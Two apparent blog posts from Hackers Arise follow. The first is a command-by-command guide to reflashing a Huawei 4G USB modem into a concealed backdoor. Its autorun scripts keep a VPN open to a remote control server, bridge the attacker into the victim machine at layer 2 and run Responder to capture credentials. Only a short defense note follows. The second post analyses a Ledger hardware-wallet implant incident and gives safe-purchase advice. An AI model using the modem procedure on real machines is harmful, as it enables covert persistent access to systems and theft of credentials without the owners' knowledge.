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Welcome back, aspiring cyberwarriors!

Previously, we had a few articles showing what crafty hackers can do to attack your system with a USB drive. Today we’ll cover yet another approach they might take, turning a USB modem into a persistence mechanism. As always, we’ll discuss practical ways to protect yourself from it.

When hackers have physical access to a potential victim’s computer, they aren’t limited to one-time actions. With just a few minutes, they can establish a persistent communication channel that continues to function long after they’ve walked away. This can be achieved using a regular USB modem that’s been slightly modified in advance.

Modern 4G USB modems, especially those based on the HiLink architecture, are more powerful than they appear. Although they look like slightly oversized flash drives, they’re small computers running a full operating system. Many of these devices run embedded Linux environments, sometimes alongside other systems such as VxWorks for handling GSM communication. These modems are autonomous. They’re powered directly through USB, they boot within seconds, and they present themselves to the host computer as a network interface.

A popular example is the Huawei E3372h-153. It has strong community support, accepts modified firmware, and includes everything needed to build an independent communication channel. When you connect this thing, it behaves like a virtual Ethernet adapter. To the OS it looks like just another network card. But inside that modem you have a full system capable of running scripts, managing connections, and interacting with the host machine. The computer believes it’s simply using a network interface, while the modem itself can communicate with external infrastructure over the mobile network. Unlike traditional implants, this one doesn’t depend on the victim’s internal network at all.

There are commercially available tools designed for similar purposes (LAN Turtle), but they typically rely on existing network connectivity. They don’t have an independent 4G communication channel.

Implementation

From an engineering perspective, the device is already almost perfect. It draws power directly from USB and uses its own 4G connection, so it will communicate even in isolated environments. 

To unlock its potential, we will need to modify the firmware. After reflashing, the internal operating system will automatically establish a VPN connection to a remote control server using the mobile network.

The first step is gaining access to the modem’s internal system. You can do it using Telnet or ADB:

kali > telnet 192.168.8.1
kali > adb connect 192.168.8.1:5555

Then we need to enable debugging features to configure things:

modem > curl http://192.168.8.1/html/switchDebugMode.html
modem > minicom -D /dev/ttyUSB0

With debug mode enabled, the firmware can be replaced:

modem > at^godload # Enter firmware mode. The modem will reboot
modem > sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.
00_M_AT_05.10_nv.exe

After rebooting, the modem usually presents itself as multiple devices, including a virtual CD-ROM and storage. These features are unnecessary and may reveal the device’s presence, so they should be disabled:

modem > AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Disable CD-ROM mode on startup, enable RNDIS/CDC
AT^RESET # Reboot

Next comes a subtle but important adjustment. The DHCP configuration is modified so the modem does not present itself as a gateway. This helps avoid interfering with the host system’s routing behavior and keeps the device less noticeable:

modem > cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE

The config file will look like this: 

To establish remote control, an OpenVPN client is installed directly on the modem. Precompiled binaries are here.

Here is how:

modem > adb push tun.ko /online/ovpn/
modem > adb push openvpn /online/ovpn/
modem > adb push vds.ovpn /online/ovpn/
modem > cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn
--route-noexec; done
EE
modem > chmod 700 /data/vpn.sh

modem > busybox passwd

modem > reboot

The VPN runs in a continuous loop, so even if the connection drops, it won’t be a problem. Finally, autorun scripts and routing rules are configured so that traffic flows correctly between the 4G network and the target machine:

modem > mount -o remount,rw /dev/block/mtdblock16

modem > cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE

modem > cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE

modem > chmod 700 /data/autorun.sh

The autorun script should look like this:

At this point, the modem has become a self-contained communication bridge.

Persistence

When deployed, the hardware backdoor does not look impressive. That is its strength. It resembles a slightly larger USB flash drive.

Because the device uses a mobile network, it does not rely on the internal infrastructure of the organization. Even if the local network has no internet access, the modem maintains a stable connection to the outside world.

Hackers can connect to the same VPN server from another device, linking themselves to the compromised machine. The modem forwards traffic in a reverse direction being a gateway into the target system.

L2 Access

This method of persistence provides network access only to the machine the modem is connected to. To make attacking the target system easier, it may be necessary to establish an L2VPN tunnel that is closer to the target. This requires creating another VPN tunnel inside the existing one. If the first VPN is used solely for communication with the device lan_turtle, the second one provides the maximum possible network access to the computer through the USB-emulated network. 

To achieve this, we need to run a few commands inside the USB modem. These commands will create a VPN tunnel and place the newly created virtual interface into a network bridge together with the USB interface. Inside the modem run these commands:

modem > ./openvpn --config l2.ovpn --route-noexec
modem > brctl addif br0 tap1
modem > ifconfig tap1 0

Here is an example of the l2.ovpn file:

The L2VPN interface will have an IP address, which is not actually needed since OpenVPN is already running. It can be reset, after which the interface can simply be added to the bridge. As a result, L2 packets from the compromised machine will flow into the VPN interface. This means the hacker doesn’t just gain logical network access to the target PC, but they will see it as if they were directly plugged into it with a regular Ethernet cable.

On the hacker’s side, it is only necessary to connect to the modem and establish a VPN tunnel, then manually assign it an IP address from the subnet of the victim computer’s network adapter:

kali > sudo openvpn --config lan_turtle.ovpn --route-noexec
kali > sudo ifconfig tap0 192.168.8.200/24

The configuration file for connecting to lan_turtle to establish an L2VPN tunnel is lan_turtle.ovpn and it looks like this:

With this setup, the hacker gains direct access to the internal network. Responder can then be used to capture auth data:

kali > responder -I tap0 -d -w -F

Defense

Although the technique is technically sophisticated, you only need physical USB access. Because of that, defensive strategies are simple.

Organizations should treat USB ports as sensitive interfaces. Restricting unknown devices, disabling USB-based network adapters through system policies, and regularly inspecting machines can help you reduce risk. Just as importantly, physical access must be controlled. Even the most advanced software defenses cannot protect a system if someone is allowed to plug in their own hardware.

Summary

The Huawei E3372h-153 and similar devices can be used for persistence, using their own mobile data connection to maintain remote access independent of the victim’s network. Modified modems can automatically set up VPN tunnels and persistently reconnect, which creates a backdoor into the system even after they leave.

If you like red teaming, we have our Red Team Operator training, where we cover more tools and techniques to help you emulate real APT work, so you can give a company a realistic stress test and help make it secure.

The post Social Engineering: Modem-Based Persistence in a Compromised Environment first appeared on Hackers Arise.

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Welcome back, aspiring cyberwarriors!

October 2026 brought a clear demonstration that hardware wallets, while far safer than software alternatives, are not immune to sophisticated physical attacks. 

Beginning on 9 October, hundreds of users who had purchased Ledger devices through the Southeast Asian reseller CryptoBilis saw their funds drained across Bitcoin, Ethereum, TRON and other chains. On-chain researchers estimated losses between roughly $86 million and more than $100 million. Ledger confirmed that at least one affected device contained an unauthorized hardware implant and stated that every confirmed loss in the incident was linked to a device sold by CryptoBilis. The company has emphasized that its own infrastructure, firmware and direct sales channels were not compromised.

The Supply-Chain Attack

The attack was physical. Someone in the distribution chain opened genuine Ledger Nano X devices, installed a small circuit board and resealed them. The implant sits inside the enclosure under or behind the screen where foam padding normally rests, and taps the SPI bus that carries data from the Secure Element to the display. When the owner sets up the device and the screen shows the 24-word recovery phrase, the implant’s microcontroller recognizes those screens, reconstructs the words and sends them out over LTE using a provisioned eSIM and a small antenna. Because the original Secure Element remains untouched, the device continues to pass Ledger’s Genuine Check. Mark Karpelès and Tibane Labs have documented multiple generations of the implant, progressing from early versions with visible wires and a smaller battery to later flex-circuit designs that are harder to notice and sometimes keep the original battery.

Mark Karpelès publicly posted a photo of a unit that arrived from Malaysia with flawless packaging. The extra hardware only became visible when he opened the case.  

Similar implants have been reported in devices obtained through other channels, including Japanese marketplaces and at least one European store, although Ledger has so far tied every confirmed fund loss specifically to CryptoBilis purchases. 

The company has asked the reseller to halt sales and has advised recent buyers not to initialize unused devices. Those who already completed setup are told to move their assets to a new signer purchased directly from Ledger and initialized with a fresh seed phrase.

How to Buy a Hardware Wallet Safely

The single most effective protection is to purchase directly from the manufacturer’s own online store.

Authorized resellers are listed on the manufacturer’s website, yet CryptoBilis was also a partner that introduced modified units into the channel. Marketplace listings of third-party shops carry a much higher risk of both counterfeits and implants. 

Once the package arrives, you should confirm that a new device requires you to generate a recovery phrase yourself on first use. Any recovery phrase that’s already written on a card or printed in documentation belongs to someone else and should never be used. The phrase must appear only on the device’s own screen and you must write it down yourself on paper or metal. Never type it into a computer or phone, don’t use websites or applications with it. 

Below you can see a photo of the hardwallet owner signing a transaction inside the faraday cage to avoid any interference and possible theft.

Check Your Wallet   

The first question is the source of the device. Anyone who bought a Ledger from CryptoBilis or another untrusted reseller in recent months should treat the unit as unsafe.  Genuine Check is still worth running because it confirms that the Secure Element is original and the firmware is approved, yet it can’t detect added circuitry that merely listens to the screen. 

You can also visually inspect the case for extra wires or antennas that can reveal tampering, but modern implants are designed to be inconspicuous and reliable detection usually requires opening the device. After a wallet is set up, compare receiving addresses shown on the device screen against those displayed in the companion application and review transaction history on block explorers for unexpected outgoing transfers. The recovery phrase must be generated by the device under your direct observation and written down only by you.

Mark Karpelès also has a few videos on opening and closing Ledger wallets that you might find helpful.

What to Do If You Suspect Compromise

If a device was purchased from CryptoBilis or any other questionable source and has already been initialized, the existing recovery phrase should be treated as compromised. Move your assets to a new wallet whose seed was generated on a trusted device bought directly from the manufacturer. Never reuse the old seed for any purpose.

More Recommendations

A BIP-39 passphrase adds a meaningful layer of protection because it isn’t displayed during ordinary setup and must be known in addition to the seed. It’s also known as passphrase (the extra “25th word”). It’s optional and you may choose it later. It is not generated or displayed by the device during ordinary setup. Adding it creates a hidden wallet, which means you have completely different keys and addresses. 

For larger holdings use a multisignature arrangement to reduce reliance on any single device. Always check the address where you send your money to, as it can often be replaced by malware or bots making small transactions with similar addresses to mislead you into sending money to this similar address. 

Hardware wallets still provide strong protection against the majority of remote thefts precisely because private keys never leave the Secure Element and every transaction requires physical confirmation on the device itself. 

Summary

Hardware wallets can pass authenticity tests and still contain an implant capable of capturing the recovery phrase the moment it appears on screen. The best thing you can do is to buy devices only from the manufacturer, generate the seed yourself on the device and write it down offline. For anyone who recently purchased a device from a third party, the cost of generating a new seed and moving funds is far lower than the cost of discovering the compromise after the fact.

The post Cryptocurrency: Security Analysis of Hardware Crypto Wallets first appeared on Hackers Arise.

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